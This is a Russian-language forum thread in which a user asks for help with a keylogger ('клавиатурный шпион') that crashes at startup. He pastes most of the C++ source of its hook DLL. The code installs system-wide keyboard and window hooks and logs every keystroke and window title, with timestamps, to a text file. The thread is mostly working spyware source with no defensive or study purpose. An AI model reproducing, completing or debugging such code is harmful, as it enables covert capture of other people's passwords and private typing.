|
|
Регистрация Восстановить пароль |
Повторная активизация e-mail |
Регистрация | Задать вопрос |
Заплачу за решение |
Новые сообщения |
Сообщения за день |
Расширенный поиск |
Правила |
Всё прочитано |
|
Опции темы | Поиск в этой теме |
23.11.2010, 20:23 | #1 |
Регистрация: 04.11.2010
Сообщений: 3
|
keylogger, он же клавиатурный шпион. нужен совет от гуру..=)
Добрый день, коллеги =)
Небольшая предыстория. Решил я написать небольшой клавиатурный шпион, записывающий нажатые клавиши в файлик. Поразбирался в теме, кое-что понял, но не все, поэтому в качестве образца решил попробовать скомпилировать найденный в интернете код. В итоге программа скомпилировалась, скомпоновалась, все дела, и выдала мне dll-библиотеку и exeшник. А теперь собственно проблема. При попытке запуска программы винда выдает ошибку "Ошибка при инициализации приложения 0xc0000005". (версия винды Windows XP SP3). Уважаемые гуру программирования, подскажите в чем проблема и как ее устранить? =) код программы: KeySpy.cpp: консольное приложение Код:
Последний раз редактировалось T.A.; 23.11.2010 в 20:27. |
23.11.2010, 20:25 | #2 |
Регистрация: 04.11.2010
Сообщений: 3
|
(то, что не влезло) =)
hook.cpp: DLL-project [CODE] #include <windows.h> #include <stdio.h> #pragma data_seg(".hdata") // секция в памяти общая для всех процессов HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому сдесь не должно быть ничего лишнего #pragma data_seg() // конец секции #pragma comment(linker, "/section:.hdata,rws") // даем права этой секции #ifdef __cplusplus #define EXPORT extern "C" __declspec (dllexport) #else #define EXPORT __declspec (dllexport) #endif EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию // а эти будут у всех свои HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса должен быть свой !!!!! HHOOK hKeyHook=NULL; HHOOK hCBTHook=NULL; void WriteTime(void) // записывает дату и время { DWORD NOfBytes; OVERLAPPED ovlp; DWORD ffsze; SYSTEMTIME time; char buffer[30]; GetLocalTime(&time); // получаем дату и время // форматируем это в String sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay, time.wMonth,time.wYear,time.wHour,t ime.wMinute); ffsze=GetFileSize(hFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; WriteFile(hFile,buffer,strlen(buffe r),&NOfBytes,&ovlp); // пишем в файл } void WriteTitle(HWND hWnd) // записывает имя окна { WriteTime(); // сначала пишем время DWORD NOfBytes; OVERLAPPED ovlp; DWORD ffsze; char buffer[250]; char title[256]; GetWindowText(hWnd,(LPWSTR)title,10 0); // получаем имя sprintf(buffer," %s\r\n",title); ffsze=GetFileSize(hFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; WriteFile(hFile,buffer,strlen(buffe r),&NOfBytes,&ovlp); } short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст { BYTE btKeyState[256]; HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры WORD Symbol; GetKeyboardState(btKeyState); if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT return Symbol; return -1; } void WriteSymbol(WPARAM wParam) // записывает нажатие в файл { DWORD NOfBytes; OVERLAPPED ovlp; DWORD ffsze; WORD wc; ffsze=GetFileSize(hFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; if(wParam==VK_RETURN) WriteFile(hFile,"\r\n",2,&NOfBytes, &ovlp); else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст if(iswprint(wc)) // проверяем или знак текстовой WriteFile(hFile,&wc,1,&NOfBytes,&ov lp); } BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память { if(!hi) // запоминаем запустивший хэндл(наша DLL) толко первый раз, чтобы он небыл переписан на новый hi=hModule; char pfad[MAX_PATH]; // путь к файлу должен быть обязательно полный, иначе каждый процесс // будет создавать новый в своем каталоге GetModuleFileName(hi,(LPWCH)pfad,MA X_PATH); // путь к нашей ДЛЛ *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя strcat(pfad,"KeySpy.txt"); // вставляем имя файла // каждый процесс должен открыть для себя файл отдельно if((hFile=CreateFile((LPCWSTR)pfad, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE|FILE_SHARE_READ,NU LL, OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,N ULL))==INVALID_HANDLE_VALUE) return FALSE; break; } case DLL_PROCESS_DETACH: { // Снимать хуки и закрывать файл необязательно // Система делает это автоматически // UnhookWindowsHookEx(hKeyHook); // UnhookWindowsHookEx(hCBTHook); // CloseHandle(hFile); break; } default: break; } return TRUE ; } LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) // вызывается при нажатии или отпускании клавиши { if (nCode) return CallNextHookEx(hKeyHook,nCode,wPara m,lParam); if(lParam>=0) // нам нужно только нажатие WriteSymbol(wParam); return CallNextHookEx(hKeyHook,nCode,wPara m,lParam); // обработали передаем дальше } |
23.11.2010, 20:25 | #3 |
Регистрация: 04.11.2010
Сообщений: 3
|
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{ if(nCode==HCBT_ACTIVATE) // вызывается перед тем как система собирается активировать какоето окно или открыть новое WriteTitle((HWND)wParam); // wParam новый HWND return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше } BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек { hKeyHook=SetWindowsHookEx(WH_KEYBOA RD,&KeyboardProc,hi,0); hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0); return hKeyHook && hCBTHook; }[/CODE] |
Похожие темы | ||||
Тема | Автор | Раздел | Ответов | Последнее сообщение |
keylogger-клавиатурный шпион | betirsolt | Win Api | 59 | 04.08.2011 10:40 |
клавиатурный шпион | sisofcase | Общие вопросы Delphi | 6 | 20.06.2011 17:55 |
Нужен совет! | Энжи | Помощь студентам | 1 | 24.04.2010 20:05 |
Нужен совет... | Расим | Общие вопросы Delphi | 1 | 15.04.2009 16:18 |
обновление в блоге - Клавиатурный шпион. | Pblog | Обсуждение статей | 0 | 27.05.2007 03:17 |